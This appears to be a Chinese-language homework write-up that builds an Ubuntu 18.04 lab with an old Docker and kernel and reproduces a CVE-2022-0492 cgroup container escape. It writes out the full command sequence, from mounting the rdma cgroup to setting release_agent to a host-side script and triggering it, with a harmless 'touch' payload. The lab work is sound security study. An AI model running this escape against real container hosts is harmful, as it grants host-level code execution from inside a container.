作業 10-2 題目 : 既然翻車了就要撥亂反正,請建立以下環境並試著參考New Linux Vulnerability CVE-2022-0492 Affecting Cgroups: Can Containers Escape?實踐利用 CVE-2022-0492 弱點後接續 cgroups 的逃逸手法,並試著比較跟作業10-1環境的差異。建立環境參考如下 :
解答 : 因為該弱點環境只能安裝在 Ubuntu 18.04.5 LTS 底下,所以這邊就快速建立一台測試環境。步驟參考 Day01 - 開賽 (含作業1)。
# 先安裝一台 Ubuntu 18.04 的作業系統
# 預設 kernel 版本為 4.15.0-213-generic
# 這版不確定有沒有 patch 過,如果不行的話要在更換 kernel 版本
uname -r ;
sudo apt update ;
# 參考 https://www.digitalocean.com/community/tutorials/how-to-install-and-use-docker-on-ubuntu-18-04 安裝 docker
sudo apt install apt-transport-https ca-certificates curl software-properties-common ;
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add - ;
sudo add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu bionic stable" ;
# 失敗的話要下 apt-key adv --keyserver keyserver.ubuntu.com --recv-keys [序號]
sudo apt update ;
# 看一下目前可以安裝的版本
apt-cache policy docker-ce ;
# 安裝 docker-ce=18.03.1~ce~3-0~ubuntu
sudo apt install docker-ce=18.03.1~ce~3-0~ubuntu -y ;
sudo usermod -aG docker $(whoami) ;
# 先離開再登入讓設定生效
exit ;
docker run --rm -it --security-opt="seccomp=unconfined" --security-opt="apparmor=unconfined" aeifkz/my-ubuntu:v1.0 bash ;
# 這個指令的結果很重要,注意一下 rdma 的部分
cat /proc/self/cgroup ;
unshare -UrmC --propagation=unchanged bash ;
mkdir /tmp/cgroup ;
mount -t cgroup -o rdma cgroup /tmp/cgroup ;
# 這次有出現 release_agent 的檔案
ls -al /tmp/cgroup ;
# 這次沒出現 Permission denied
# 改成出現 write error: Operation not permitted
echo "echo 123" > /tmp/cgroup/release_agent
所以可以觀察出來目前這個版本的 docker 已經克服了掛載 root cgroup 的問題,成功的產生 release_agent 的檔案出來。但現在出現的錯誤訊息已經不是 Permission denied 而是 Operation not permitted,代表著已經通過 DAC 的權限驗證,但進入 kernel 的下一步操作時被阻擋,所以這個部分才是 CVE-2022-0492 弱點真正有問題的地方,因為該漏洞問題出在寫入 release_agent 時沒有去驗證使用者的能力,所以接下來要切換 kernel 的版本。
# 安裝 4.15.10 版本
wget https://kernel.ubuntu.com/mainline/v4.15/linux-headers-4.15.0-041500_4.15.0-041500.201802011154_all.deb ;
wget https://kernel.ubuntu.com/mainline/v4.15/linux-headers-4.15.0-041500-generic_4.15.0-041500.201802011154_amd64.deb ;
wget https://kernel.ubuntu.com/mainline/v4.15/linux-image-4.15.0-041500-generic_4.15.0-041500.201802011154_amd64.deb ;
# 調整 GRUB_TIMEOUT=20
sudo vim /etc/default/grub ;
sudo dpkg -i *.deb ;
sudo update-grub ;
sudo shutdown -r now ;
# 重開機會卡住,點進去按 ESC 選擇對應的版本
# 這邊應該要顯示 4.15.0-041500-generic 版本
uname -r ;
# 正式做一次 CVE-2022-0492 + cgroup 容器逃逸
docker run --rm -it --security-opt="seccomp=unconfined" --security-opt="apparmor=unconfined" aeifkz/my-ubuntu:v1.0 bash ;
unshare -UrmC --propagation=unchanged bash ;
mkdir /tmp/cgroup ;
mount -t cgroup -o rdma cgroup /tmp/cgroup ;
mkdir /tmp/cgroup/cgroup_2 ;
echo 1 > /tmp/cgroup/cgroup_2/notify_on_release ;
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab` ;
echo "$host_path/cmd" > /tmp/cgroup/release_agent ;
echo '#!/bin/sh' > /cmd ;
echo "touch /tmp/pwned" >> /cmd ;
chmod a+x /cmd ;
# 透過讓 process 結束觸發 release_agent 的動作
sh -c "echo $$ > /tmp/cgroup/cgroup_2/cgroup.procs" ;
# 如果沒成功就重新命名一個資料夾再做一次,ex: cgroup_3
exit ;
這也算是完備了當年對 CVE-2022-0492 這個漏洞的誤解,我先稍微說明一下我當年誤解的部分,感覺有點錯得離譜。參考資料 : New Linux Vulnerability CVE-2022-0492 Affecting Cgroups: Can Containers Escape?
最後這台虛擬機環境會於作業 11-1 當作環境來練習,所以麻煩先不要砍掉。